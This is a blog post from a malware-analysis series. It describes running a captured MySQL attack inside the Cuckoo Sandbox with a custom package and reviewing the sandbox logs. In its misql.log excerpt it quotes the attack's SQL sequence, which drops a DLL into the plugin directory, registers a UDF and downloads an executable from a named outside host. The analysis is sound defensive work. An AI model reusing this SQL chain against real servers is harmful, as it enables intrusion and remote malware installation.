Seeing an increase in MySQL attacks hitting your network and interested in knowing more about them? This post discusses how to run the attack within the Cuckoo Sandbox. Subsequent posts will analyse the results.
Ok, so we’ve performed some static analysis of the extracted cna12.dll file, and have a bit of an inkling as to what it is likely to do. It would be nice to perform some dynamic analysis to corroborate our static analysis.
I used the Cuckoo Sandbox, along with my misql.py Cuckoo package, to dynamically analyse the attacks, but due to me not being the most concise person in the world, this led to a ridiculously long blog post. So I decided to break it down in to a Dynamic Analysis ‘mini series’.
This post is the first instalment thereof and discusses how to prepare the attack, run the attack within Cuckoo, and to check the log files for any problems.
Preparing the Attack
The misql.py Cuckoo package works by issuing a series of MySQL commands to the MySQL server and monitoring the behaviour of the mysqld.exe process (the MySQL server process).
In other words, Cuckoo is analysing the mysqld.exe process to see how it behaves operating system wise — that is what files and registry entries are accessed/modified, what processes are created, etc., as opposed to which database tables/rows were accessed/modified. What a great way to spend a rainy weekend.
So to start with, we’ll need a collection of MySQL commands to run. What do you know, here’s some we prepared earlier — the collection of files containing the MySQL commands from the attacks. If you’ve been following this series in order, then you’ll have seen how to obtain those. If not, read ‘Increase in MySQL Attacks: Examining the History‘ for information on how they were obtained.
Next, you’ll need to download my MySQL Cuckoo analysis package, misql.py, and place it in the cuckoo/analyzer/windows/packages/ directory. Note that the architecture of Cuckoo changed somewhat between version 0.3.x and 0.4 (and I’ve just noticed that version 0.5 is out), to allow it to be more independent of the virtualisation software. If your cuckoo/ directory doesn’t have an analyzer/windows/packages/ directory, then try upgrading Cuckoo. I developed my package using Cuckoo v0.4.2.
Now for a slight inconvenience. We need to modify those attack files slightly because they were generated by tshark. tshark felt that it needed to escape characters (namely ” and \) which don’t actually need to be escaped when sending them to a MySQL server. If we send the commands as they are in the attack file, we will get errors back from the MySQL server.
Select which attack file that you want to use for the analysis. I’ve found that the URLs from older attacks tend not to work, possibly due to the servers being discovered and shut down/cleaned, or due to the attackers want to keep relocating the malicious payloads in an attempt to make it harder to trace.
After selecting the attack file, you’ll need to remove the backslash escape characters that tshark added. To do this, remove a backslash character (\) immediately preceding any character, but leave the character immediately following the removed backslash character. For instance, ‘\”‘ will become ‘”‘, and ‘\\’ will become ‘\’, ‘\\\\’ will become ‘\\’. Perhaps this is more easily explained with a sed command that will do the job and save the output in the file attack.sql:
sed 's/\\\(.\)/\1/g' <attackfilename> > attack.sql
That will remove all occurrences of a single backslash character escaping any character.
We should be ‘right to go. All we need to do is tell Cuckoo to use the misql package to analyse the modified attack file — attack.sql if you used the above sed command.
Using Cuckoo
# start cuckoo cd .../cuckoo ./cuckoo.py # submit the file containing the MySQL commands # you will need to use a different terminal/xterm because cuckoo.py will # run in the foreground utils/submit.py --package misql attack.sql
You should see output from the cuckoo.py script as it performs the analysis process. I’ve actually used a fresh attack in order to get the cuckoo.py output, as I have the saved analysis results from the older attack, but I didn’t save the cuckoo.py output. I suspect that running the older attack now would fail due to no longer being able to download the payload from the URL in the SQL command. The cna12.dll file that was dumped in this newer attack, matches that of the older attack.
2012-12-24 11:07:00,330 [lib.cuckoo.core.scheduler] INFO: Starting analysis of file "attack.sql" (task=190) 2012-12-24 11:07:00,350 [lib.cuckoo.core.scheduler] INFO: Task #190: acquired machine cuckoo1 (label=...) 2012-12-24 11:07:00,357 [lib.cuckoo.core.sniffer] INFO: Started sniffer (interface=..., host=..., dump path=.../cuckoo/storage/analyses/190/dump.pcap) 2012-12-24 11:07:06,785 [lib.cuckoo.core.guest] INFO: Starting analysis on guest (id=cuckoo1, ip=...) 2012-12-24 11:09:51,923 [lib.cuckoo.core.guest] INFO: cuckoo1: analysis completed successfully 2012-12-24 11:10:04,109 [modules.processing.behavior] WARNING: Something went wrong while parsing analysis log: line contains NULL byte 2012-12-24 11:10:57,305 [lib.cuckoo.core.scheduler] INFO: Task #190: reports generation completed (path=.../cuckoo/storage/analyses/190)
That all looks good apart from the WARNING: message — what’s that all about? Cuckoo has a number of processing modules that process the <pid>.csv log files produced by the Cuckoo DLL that is injected in to the monitored process(es). The module uses the following Python code to find these log files:
for file_name in os.listdir(self._logs_path): file_path = os.path.join(self._logs_path, file_name) if os.path.isdir(file_path): continue # Invoke parsing of current log file. current_log = ParseProcessLog(file_path) current_log.extract()
As you can see, it simply lists every entry in the log directory, and processes any that aren’t a directory. The problem is, my misql package dumps the output from Process Monitor in to the Cuckoo log directory, as events.pml. The events.csv version doesn’t produce a warning because it is in CSV format, which Cuckoo’s behavior.py module is expecting. The events.pml version however, is a binary file and hence the warning about finding a NULL byte.
I could modify my package to remove the PML version, but I’d rather keep it as it is the original data from Process Monitor. The warning from Cuckoo is only a warning and as far as I can tell from the code, doesn’t stop the behavior.py module from processing any remaining log files, so it doesn’t hurt to leave it as it is. It just looks messy.
Another option would be to get Cuckoo’s behavior.py module to search for [0-9]*.log instead of for all files.
The Log Files
Let’s get down to looking at the log files then, to see if it was as good for Cuckoo as it was for us. In other words, we’re just looking to see if there were any major problems — subsequent posts will delve in to the actual analysis.
analysis.log
Probably the best place to start is Cuckoo’s analysis.log output file, found in the cuckoo/storage/analyses/<taskid>/ directory. After the start up blurb, we see a number of INFO: Added new file to list with path messages as Cuckoo notices created/modified files (the next post shows these messages). We also see a few INFO: Added new process to list with pid messages as it notices new processes being created.
However, it’s not all sunshine, lollipops, and rainbows. There are a few error messages too, namely:
2012-12-24 11:09:37,000 [root] ERROR: Unable to dump dropped file at path "c:\Windows\temp\isetup.exe": [Errno 2] No such file or directory: 'c:\\Windows\\temp\\isetup.exe' 2012-12-24 11:09:37,000 [root] ERROR: Unable to dump dropped file at path "c:\windows\csrtsdtmkd": [Errno 2] No such file or directory: 'c:\\windows\\csrtsdtmkd' 2012-12-24 11:09:37,000 [root] ERROR: Unable to dump dropped file at path "c:\docume~1\...\locals~1\temp\iwlfgjbllx.dat": [Errno 2] No such file or directory: 'c:\\docume~1\\...\\locals~1\\temp\\iwlfgjbllx.dat' 2012-12-24 11:09:37,010 [root] ERROR: Unable to dump dropped file at path "C:\Program Files\%SESSIONNAME%\jidfh.cc3": [Errno 13] Permission denied: 'C:\\Program Files\\%SESSIONNAME%\\jidfh.cc3'
These messages are telling us that Cuckoo noticed the mentioned files being modified/created, but it was unable to copy them at the end of the analysis session. The [Errno 2] No such file or directory files were probably deleted by the malware — we saw during the static analysis how cna12.dll deletes the downloaded isetup.exe file after it started it running.
I’m guessing that the [Errno 13] Permission denied message is caused because the file is open and without the appropriate sharing permissions to allow it to be read by another process. Although
.../cuckoo/storage/analyses/190$ grep "Added new process" analysis.log | sed 's/^.* //'| sort -n > /tmp/pidsstarted .../cuckoo/storage/analyses/190$ grep "Process with pid" analysis.log | cut -d\ -f8 | sort -n > /tmp/pidsterminated .../cuckoo/storage/analyses/190$ diff /tmp/pidsstarted /tmp/pidsterminated 2,3d1 < 1340 < 1340
tells us that the only process that Cuckoo started monitoring, which didn’t terminate, was the process with pid 1340, which was the process under analysis, mysqld.exe. So, either it was mysqld.exe that had that process open, the file permissions on the file were modified so that the Cuckoo user couldn’t read the file, or there was some other reason Cuckoo received a permission denied error trying to copy the file.
The Cuckoo logs and Process Monitor output reveals that the isetup.exe process that the SQL attack downloaded, with the help of the xpdl3() function in cna12.dll, created the file c:\windows\csrtsdtmkd and then ran it (notice the command line that it gives it though). This new process then created the file c:\docume~1\…\locals~1\temp\iwlfgjbllx.dat and moved it to C:\Program Files\%SESSIONNAME%\jidfh.cc3:
# check all cuckoo process log files for the file jidfh.cc3 .../cuckoo/storage/analyses/190/logs$ grep "iwlfgjbllx.dat" [0-9]*.csv 672.csv:"2012-12-24 00:07:41,615","672","csrtsdtmkd","1536","1716", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x0000008c","DesiredAccess->1074790528", "FileName->\??\c:\docume~1\...\locals~1\temp\iwlfgjbllx.dat", "CreateDisposition->5" 672.csv:"2012-12-24 00:07:41,935","672","csrtsdtmkd","1536","1716", "filesystem","MoveFileWithProgressW","SUCCESS","0x00000001", "ExistingFileName->c:\docume~1\...\locals~1\temp\iwlfgjbllx.dat", "NewFileName->C:\Program Files\%SESSIONNAME%\jidfh.cc3" 672.csv:"2012-12-24 00:07:41,935","672","csrtsdtmkd","1536","1716", "filesystem","NtOpenFile","FAILURE","0xc0000034", "FileHandle->0x00000000","DesiredAccess->1048832", "FileName->\??\c:\docume~1\...\locals~1\temp\iwlfgjbllx.dat" 672.csv:"2012-12-24 00:07:41,935","672","csrtsdtmkd","1536","1716", "filesystem","DeleteFileW","FAILURE","0x00000000", "FileName->c:\docume~1\...\locals~1\temp\iwlfgjbllx.dat" # check all cuckoo process log files for the process csrtsdtmkd .../cuckoo-master/storage/analyses/190/logs$ grep "csrtsdtmkd" [0-9]*.csv 1716.csv:"2012-12-24 00:07:36,908","1716","isetup.exe","532","1340", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x0000004c","DesiredAccess->1074790528", "FileName->\??\c:\windows\csrtsdtmkd","CreateDisposition->1" 1716.csv:"2012-12-24 00:07:37,178","1716","isetup.exe","532","1340", "process","CreateProcessInternalW","SUCCESS","0x00000001", "ApplicationName->c:\windows\csrtsdtmkd", "CommandLine->c:\Windows\temp\isetup.exe -o""C:\windows\temp\tmp209"" -pabc -y a -sc:\windows\temp\isetup.exe", "CreationFlags->32","ProcessId->672","ThreadId->1520", "ProcessHandle->0x00000058","ThreadHandle->0x0000005c" # check all cuckoo process log files for isetup.exe .../cuckoo/storage/analyses/190/logs$ grep "isetup.exe" [0-9]*.csv 1340.csv:"2012-12-24 00:07:32,682","1340","mysqld.exe","480","428", "filesystem","NtCreateFile","SUCCESS","0x00000000", "FileHandle->0x000233d0","DesiredAccess->1074790528", "FileName->\??\c:\Windows\temp\isetup.exe","CreateDisposition->5" 1340.csv:"2012-12-24 00:07:34,074","1340","mysqld.exe","480","428", "process","CreateProcessInternalW","SUCCESS","0x00000001", "ApplicationName->", "CommandLine->c:\Windows\temp\isetup.exe -o""C:\windows\temp\tmp209"" -pabc -y", "CreationFlags->0","ProcessId->1716","ThreadId->532", "ProcessHandle->0x000233e8","ThreadHandle->0x000233ec"
Further investigation reveals that the jidfh.cc3 file is loaded by one of the existing (as an instance with the same pid exists in the clean Cuckoo VM) svchost.exe processes, which then polls it every half a second.
# snippets from process monitor log file, events.csv .../cuckoo-master/storage/analyses/190/logs$ grep "jidfh.cc3" events.csv "11:07:41.9474536","svchost.exe","1072","RegQueryValue", "HKLM\System\CurrentControlSet\Services\HidServ\Parameters\ServiceDll", "SUCCESS","Type: REG_EXPAND_SZ, Length: 82, Data: C:\Program Files\%SESSIONNAME%\jidfh.cc3" "11:07:41.9476662","svchost.exe","1072","QueryOpen", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "CreationTime: 24/12/2012 11:07:41, LastAccessTime: 24/12/2012 11:07:41, LastWriteTime: 24/12/2012 11:07:41, ChangeTime: 24/12/2012 11:07:41, AllocationSize: 24,178,688, EndOfFile: 24,177,040, FileAttributes: A" "11:07:41.9479612","svchost.exe","1072","CreateFile", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a, OpenResult: Opened" "11:07:41.9480090","svchost.exe","1072","CreateFileMapping", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE" ... "11:07:41.9552007","svchost.exe","1072","Load Image", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "Image Base: 0x20000000, Image Size: 0x27000" "11:07:41.9552353","svchost.exe","1072","ReadFile", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "Offset: 118,784, Length: 16,384, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O" ... "11:07:45.3378572","svchost.exe","1072","QueryOpen", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "CreationTime: 24/12/2012 11:07:41, LastAccessTime: 24/12/2012 11:07:44, LastWriteTime: 24/12/2012 11:07:41, ChangeTime: 24/12/2012 11:07:41, AllocationSize: 24,178,688, EndOfFile: 24,177,040, FileAttributes: A" "11:07:45.8386127","svchost.exe","1072","QueryOpen", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "CreationTime: 24/12/2012 11:07:41, LastAccessTime: 24/12/2012 11:07:44, LastWriteTime: 24/12/2012 11:07:41, ChangeTime: 24/12/2012 11:07:41, AllocationSize: 24,178,688, EndOfFile: 24,177,040, FileAttributes: A" "11:07:46.3392816","svchost.exe","1072","QueryOpen", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "CreationTime: 24/12/2012 11:07:41, LastAccessTime: 24/12/2012 11:07:44, LastWriteTime: 24/12/2012 11:07:41, ChangeTime: 24/12/2012 11:07:41, AllocationSize: 24,178,688, EndOfFile: 24,177,040, FileAttributes: A" "11:07:46.8400204","svchost.exe","1072","QueryOpen", "C:\Program Files\%SESSIONNAME%\jidfh.cc3","SUCCESS", "CreationTime: 24/12/2012 11:07:41, LastAccessTime: 24/12/2012 11:07:44, LastWriteTime: 24/12/2012 11:07:41, ChangeTime: 24/12/2012 11:07:41, AllocationSize: 24,178,688, EndOfFile: 24,177,040, FileAttributes: A
That will probably explain the permission denied error that Cuckoo received when trying to copy it. However, since those files were created by isetup.exe, and this post is an analysis of cna12.dll, let’s not concern ourselves with those files/processes — we’ve at least identified that the permission denied errors are more than likely not a result of a problem with Cuckoo, nor of our use of it.
misql.log
Let’s move on to misql.log, the log file generated by misql.py. misql.log can be found in the cuckoo/storage/analyses/<taskid>/log/ directory:
Unable to determine MySQL server pid Starting MySQL server... True Injecting DLL... True Opening SQL command file: C:\attack.sql... done Connecting to MySQL server... done Sending SQL commands:Q: set autocommit=0
These introductory lines are mainly debugging output from when I was developing misql.py, but they are useful. The first line, while it sounds a bit like an error, is merely stating that it can’t find MySQL already running, hence the second line. This is one of the two ways in which misql.py can be used — either with a Cuckoo guest VM which is already running the MySQL server process, or with a guest which isn’t already running the server. In the latter case misql.py will start the server manually, so those two lines are perfectly normal and it is merely telling you which of the two situations it has identified.
I obviously need to add a \n in the self.logfile.write() call about sending SQL commands.
Following that, we see each SQL command from the attack file, preceded by Q: (for Query), along with its output from the MySQL server (lines with no prefix):
Q: set autocommit=0 Q: SELECT VERSION() 5.5.28 Q: set @a = concat('',0x4D5A9000...) Q: use mysql Q: drop table IF EXISTS yongger2 Q: SHOW WARNINGS Note 1051 Unknown table 'yongger2' Q: create table yongger2(data LONGBLOB) Q: insert into yongger2 values("") Q: update yongger2 set data = @a Q: set @dir2 = concat('select data from yongger2 into DUMPFILE "',@@plugin_dir,'\\cna12.dll"') Q: set @dir2 = replace(@dir2,'\\','\\\\') Q: set @dir2 = replace(@dir2,"/","\\\\") Q: prepare sql3 from @dir2 Q: execute sql3 Q: select data from yongger2 into DUMPFILE '..\\bin\\cna12.dll' DatabaseError: 1 (HY000): Can't create/write to file 'C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.5\bin\ cna12.dll' (Errcode: 2) Q: drop table IF EXISTS yongger2 Q: drop FUNCTION xpdl3 ProgrammingError: 1305 (42000): FUNCTION mysql.xpdl3 does not exist Q: CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll' Q: select xpdl3('http://hackfei1.3322.org:22/888.exe','c:\\isetup.exe') ok...(c:\isetup.exe) portnumber (3389) osversion (WinXP) Q: drop FUNCTION xpdl3 Q: drop FUNCTION IF EXISTS xpdl3 Q: SHOW WARNINGS Note 1305 FUNCTION mysql.xpdl3 does not exist Q: commit done
Having misql.py log the SQL queries and responses has been handy in this case, as it confirms something that we determined during the static analysis, namely that the string ok…(c:\isetup.exe) portnumber (3389) osversion (WinXP) is returned from the xpdl3() function in cna12.dll. I’ve highlighted the query and response in bold above.
To keep these blog posts short (or at least shorter than they were going to be), and to add a touch of suspense, you’ll have to wait for the next post to find out about files that the mysqld.exe process dropped as a result of the attack. I shall attempt to whet your appetite a tad by letting you know that something goes a little awry.
P.S. I’ve inserted new line characters and padding in to output lines that were too long for the width of the text area allocated to them. Having played with HTML before I know that there is a reasonable chance that, despite looking fine in my browser, it may look horrible in yours. If this is the case, please post a comment mentioning so, as it takes me considerable time to rejig long lines so I’d like it to actually work.